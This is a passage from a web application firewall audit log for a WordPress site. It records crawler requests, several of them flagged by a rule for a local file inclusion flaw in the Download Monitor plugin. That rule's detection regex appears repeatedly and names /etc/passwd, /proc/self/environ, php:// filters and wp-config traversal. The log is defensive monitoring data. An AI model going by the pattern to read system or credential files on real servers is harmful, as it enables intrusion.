\"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/iso_639-2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":400,"p2":8924,"p3":0,"p4":0,"p5":353,"sr":199,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:49.813267 +0100","transaction_id":"abNirwhXxndD9xDx47xVOwAAAFA","remote_address":"57.141.20.32","remote_port":58138,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/responsive/responsive.6.3.3.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"d5d873c458f15648676dcb2462933bfc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28941631"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d5d873c458f15648676dcb2462933bfc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/responsive/responsive.6.3.3.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":347,"p2":6191,"p3":0,"p4":0,"p5":285,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:53.271118 +0100","transaction_id":"abNisvGYjQkrq8Uo_EwLDQAAAJc","remote_address":"57.141.20.29","remote_port":41488,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/be/LC_MESSAGES/wget.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"11218e9cf3b3451f9f8d210497c54b3a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28941640"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"11218e9cf3b3451f9f8d210497c54b3a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/be/LC_MESSAGES/wget.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":6190,"p3":0,"p4":0,"p5":490,"sr":117,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:05:19.498775 +0100","transaction_id":"abNizghXxndD9xDx47xVfwAAAFg","remote_address":"65.109.118.212","remote_port":45316,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"38c4fe5c80a3b03374abcaf202ff4568","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31490987","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"38c4fe5c80a3b03374abcaf202ff4568","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":4383,"p3":0,"p4":0,"p5":685,"sr":104,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:06:12.259680 +0100","transaction_id":"abNjA_GYjQkrq8Uo_EwLhwAAAJU","remote_address":"114.119.129.50","remote_port":37368,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/190324551 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.129.50","X-Forwarded-Proto":"http","X-Request-Id":"4f7b087bdefb815517cd4612e26b413e","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30901906","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"4f7b087bdefb815517cd4612e26b413e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":288,"p2":4550,"p3":0,"p4":0,"p5":358,"sr":115,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:07:21.027578 +0100","transaction_id":"abNjSFWNXJO_mmQISINTKgAAAVY","remote_address":"65.109.118.212","remote_port":44878,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"82536feab7b8a2141b1a75f5edf220d8","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28611645","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"82536feab7b8a2141b1a75f5edf220d8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":176,"p2":3781,"p3":0,"p4":0,"p5":275,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:08:58.705542 +0100","transaction_id":"abNjqvGByT275eeM2ZlCWgAAARQ","remote_address":"114.119.150.95","remote_port":45768,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/161273351 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"937b5f01ce4ef6e6060ccccc9434800e","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"23573582","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"937b5f01ce4ef6e6060ccccc9434800e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":250,"p2":4787,"p3":0,"p4":0,"p5":379,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:09:13.228860 +0100","transaction_id":"abNjuPGYjQkrq8Uo_EwM1gAAAIQ","remote_address":"57.141.20.55","remote_port":45740,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php8.5/include/php/main/php_version.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"94a5b819341d218f2bc5fa6621d51aca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30739815"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"94a5b819341d218f2bc5fa6621d51aca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.5/include/php/main/php_version.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":319,"p2":5492,"p3":0,"p4":0,"p5":321,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:09:22.144049 +0100","transaction_id":"abNjwX6c0W8rkQnlo8JL6AAAAcQ","remote_address":"65.109.118.212","remote_port":35724,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"6a02368b37a09cc56e29eb7a0f6650d4","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27494074","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"6a02368b37a09cc56e29eb7a0f6650d4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":6128,"p3":0,"p4":0,"p5":357,"sr":226,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:11:24.718060 +0100","transaction_id":"abNkO_GYjQkrq8Uo_EwNsQAAAJQ","remote_address":"65.109.118.212","remote_port":42290,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"cd5e150651689b41cc377d50238279fd","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"23043758","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"cd5e150651689b41cc377d50238279fd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":252,"p2":4282,"p3":0,"p4":0,"p5":197,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:12:23.811863 +0100","transaction_id":"abNkd1WNXJO_mmQISINUlgAAAUE","remote_address":"57.141.20.55","remote_port":40294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/vi/LC_MESSAGES/sudoers.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"5dd4417567d1dd2680f6f708f9840c8a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30706815"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5dd4417567d1dd2680f6f708f9840c8a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/vi/LC_MESSAGES/sudoers.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":190,"p2":3777,"p3":0,"p4":0,"p5":322,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:13:27.469381 +0100","transaction_id":"abNktvGByT275eeM2ZlDagAAAQg","remote_address":"65.109.118.212","remote_port":59170,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"a6b88b63359e596c054a0cec853b7e63","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29724962","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"a6b88b63359e596c054a0cec853b7e63","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":318,"p2":4702,"p3":0,"p4":0,"p5":380,"sr":190,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:15:30.645224 +0100","transaction_id":"abNlMVWNXJO_mmQISINVigAAAVA","remote_address":"65.109.118.212","remote_port":37768,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"37d82782f124ae07c9bcfae2ed22f92c","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31491117","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; 